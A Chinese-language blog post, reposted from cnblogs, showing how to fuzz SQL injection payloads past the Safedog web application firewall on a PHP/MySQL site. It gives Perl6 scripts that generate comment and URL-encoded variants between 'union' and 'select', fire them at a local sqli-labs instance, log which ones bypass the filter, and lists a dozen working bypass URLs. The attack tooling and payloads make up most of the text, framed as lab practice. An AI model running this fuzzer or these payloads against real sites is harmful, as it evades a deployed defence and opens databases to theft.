Fuzz安全狗注入绕过

转载自:http://www.cnblogs.com/perl6/p/7076524.html

 

安全狗版本为: apache 4.0

网站为: php+mysql

系统: win 2003

 

这里只要是fuzz /*!union 跟 select*/ 之间的内容:

/*!unionselect*/

 

位置很多可以选择。

 

脚本语言你可以用你喜欢的，　我这里用perl6

 

让我们一步步来。

枸造 exp 我用如下代码(代码测试用):

#!/bin/env perl6
my @fuzz_sp = '/*','*/','/*!','?','*','=','';
my @fuzz_nu = 0..9;
my @fuzz_ch = '%0a'..'%0z';

my @fuzz_all;
@fuzz_all.append(@fuzz_sp);
@fuzz_all.append(@fuzz_nu);
@fuzz_all.append(@fuzz_ch);
for @fuzz_all -> $exp {
  say $exp;
}
say '-' x 30;
for @fuzz_all -> $a {
  for @fuzz_all -> $b {
    for @fuzz_all -> $c {
      for @fuzz_all -> $d {
        for @fuzz_all -> $e {
          say '/*union'~$a~$b~$c~$d~$e~'select*/';
        }
      }
    }
  }
}

 

字符构建你想怎么构造都行，　或者下现成的文件库，　或者看下相应的脚本语言里有没有相应的fuzz模块可以用。

perl6中，　写文件没有缓冲区了，　直接用open打开, :a　追加，　用来保存规则用，　测试代码如下:

#!/bin/env perl6

my $file = '/home/perl/Desktop/test.txt';
my $fp = open $file, :a;
my $a = 1;
my $b = 2;
$fp.say($a~$b);
#$fp.flush;
sleep(120);

在perl6中，　HTTP::UserAgent模块，　get的时候，　特殊字符记得要转成uri的编码，　要不get时会报错。　转码用 URI::Encode模块中的 uri_encode方法转换就行。

下面是一小段测试代码：

 

use HTTP::UserAgent;
use URI::Encode;
my $url = 'http://192.168.235.128/sqli-labs-master/Less-1/?id=-1\'';
my $payload = '/*!union/*!/*!select*/1,2,3-- -';
say uri_encode($url~$payload);
#输出输码结果

my $targeturl = uri_encode($url~$payload);

my $ua = HTTP::UserAgent.new;
my $result = $ua.get($targeturl);
say $result.content;
if $result.content ~~ /'Your Login name'/ {
  say 'Bypass!'
}

测试站用的是 sqllibs。

查找相应的关键字，　如果存在，　就说明bypass了。

 

 

最终的fuzz版本如下:

 

use HTTP::UserAgent;
use URI::Encode;
my $url = 'http://192.168.235.128/sqli-labs-master/Less-1/?id=-1\'';
#保存数据，　刷新缓冲
my $file = '/home/perl/Desktop/safedog_exp.txt';
my $fp = open $file, :a;


my $ua = HTTP::UserAgent.new;
my @fuzz_sp = '/*','*/','/*!','?','*','=','';
my @fuzz_nu = 0..9;
my @fuzz_ch = '%0a'..'%0z';

my @fuzz_all;
@fuzz_all.append(@fuzz_sp);
@fuzz_all.append(@fuzz_nu);
@fuzz_all.append(@fuzz_ch);

for @fuzz_all -> $a {
  for @fuzz_all -> $b {
    for @fuzz_all -> $c {
      for @fuzz_all -> $d {
        for @fuzz_all -> $e {
          my $exp = '/*!union'~$a~$b~$c~$d~$e~'select*/1,2,3-- -';
          my $targeturl = uri_encode($url~$exp);
          say 'Check url:'~$targeturl;
          #sleep(2);
          my $result = $ua.get($targeturl);
          if $result.content ~~ /'Your Login name'/ {
            say "Bypass!\a\a\a\a\a\a\a ---> "~ $url~$exp;
            $fp.say($url~$exp);
            sleep(5);
          }
        }
      }
    }
  }
}

 

 

 

 

Fuzz到一些规则如下:

 

http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/**//*!/*!select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0b*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0e*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0f*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0g*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0h*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0i*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0j*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0k*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0l*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0m*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0n*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0o*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0p*/select*/1,2,3-- -

 

注意:

在fuzz时，　你fuzz太快狗默认会禁ＩＰ，　或者有时网站mysql数据库会挂掉。

你可以把狗的防ＣＣ功能/ ＩＰ黑名单关掉。

fuzz的最后:

fuzz完之后，　你可以对比一下，　看一下能过的fuzz有没有特点的规律，　总结一下。

对于fuzz位置，　你可以在不同位置测试，　比如：

union/*select
unionselect
/*!36000uNION*/selecT
...